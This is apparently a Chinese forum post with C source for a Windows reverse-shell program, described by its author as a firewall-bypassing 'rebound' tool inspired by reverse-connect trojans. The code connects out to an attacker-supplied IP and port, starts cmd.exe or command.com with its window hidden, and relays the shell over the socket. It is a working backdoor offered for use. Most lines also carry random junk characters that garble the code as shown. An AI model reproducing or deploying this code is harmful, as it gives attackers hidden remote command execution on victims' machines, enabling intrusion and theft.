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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 }`cf3'rdk  
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/* ============================== ls7eypKR  
Rebound port in Windows NT JTIt!E}P  
By wind,2006/7 &^2SdF  
===============================*/ @`$'sU  
#include J0V`sK  
#include k/P.[5  
*4/FN TC  
#pragma comment(lib,"wsock32.lib") 3xg9D.A  
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void OutputShell(); *5IB@^<  
SOCKET sClient; vd?Bk_d9k,  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8Cs;.>75[  
.7]P-]uOZ  
void main(int argc,char **argv) o?Aj6fNY?  
{ Z1#u&oX  
WSADATA stWsaData; 2ah%,o  
int nRet; Mg #yl\v  
SOCKADDR_IN stSaiClient,stSaiServer; I4W@t4bZ  
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if(argc != 3) _%q~K (::  
{ Jsl2RdI  
printf("Useage:\n\rRebound DestIP DestPort\n"); c {/J.  
return; > vdmN]  
} >H^#!eaqw  
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WSAStartup(MAKEWORD(2,2),&stWsaData); {`QA.he.  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6<EGH*GQ$  
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stSaiClient.sin_family = AF_INET; [Ur\^wS  
stSaiClient.sin_port = htons(0); Y{D%v  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~w a6S?  
Q F)\\ D[  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @/F61Ut  
{ K>dB{w#gS  
printf("Bind Socket Failed!\n"); om`T/@_,  
return; D"rbQXR7$  
} #MKM.T,\t  
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stSaiServer.sin_family = AF_INET; |GtvgvO,  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); y{S8?$dU$:  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); d2V X\  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) V:$+$"|  
{ RN[I%^$"  
printf("Connect Error!"); =e4 r=I  
return; |~r-VV(=  
} T5 (|{-  
OutputShell(); tLBtE!J$[  
} =A.$~9P  
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void OutputShell() @^xtxtjzux  
{ 4);_f  
char szBuff[1024]; %8,$ILN  
SECURITY_ATTRIBUTES stSecurityAttributes; g:>'+(H;  
OSVERSIONINFO stOsversionInfo; T9C_=0(hn  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `PC9t)%.pV  
STARTUPINFO stStartupInfo; F}5d>nw  
char *szShell; L.Qz29\  
PROCESS_INFORMATION stProcessInformation; +{1.kb Zq  
unsigned long lBytesRead; I|U'@E  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;$QC_l''b  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); DcW?L^Mst  
stSecurityAttributes.lpSecurityDescriptor = 0; <.Ws; HN}  
stSecurityAttributes.bInheritHandle = TRUE; 1Y|a:){G  
j-":>}oW2.  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); hW~.F  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8.i4QaU  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); eXW|{asx  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $@>0;i ::  
stStartupInfo.wShowWindow = SW_HIDE; u.gg N=Z  
stStartupInfo.hStdInput = hReadPipe; BDT L5N  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; L=l&,ENy  
}(oeNP M8  
GetVersionEx(&stOsversionInfo); s V_(9@b  
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switch(stOsversionInfo.dwPlatformId) 5&ku]l+  
{ K]hp-QK<  
case 1: $"r9U|6kk  
szShell = "command.com"; c-sjYJXKM*  
break; ,~1"50 Hp@  
default: d9K8[Q5^3  
szShell = "cmd.exe"; qhEv6Yxfw6  
break; FQ]/c#J  
} ?13qDD:  
fSkDD>&  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >?, Zn  
;]u9o}[ 2  
send(sClient,szMsg,77,0); VPe0\?!d  
while(1) {FNkPX  
{ ?, S/>SP  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); DN*5q9.  
if(lBytesRead) l3>S{  
{ \84t\jKR  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9;E=w+  
send(sClient,szBuff,lBytesRead,0); yD7BZI xW  
} ;-+q*@sa]  
else or/gx3  
{ zx3gz7>k;  
lBytesRead=recv(sClient,szBuff,1024,0); ^7-zwl(>?N  
if(lBytesRead<=0) break; CL|/I:%0  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); c$O8Rhx  
} Y;"k5 + q  
} X@rA2);6  
*l+#<5x  
return; ^"WV E["  
}
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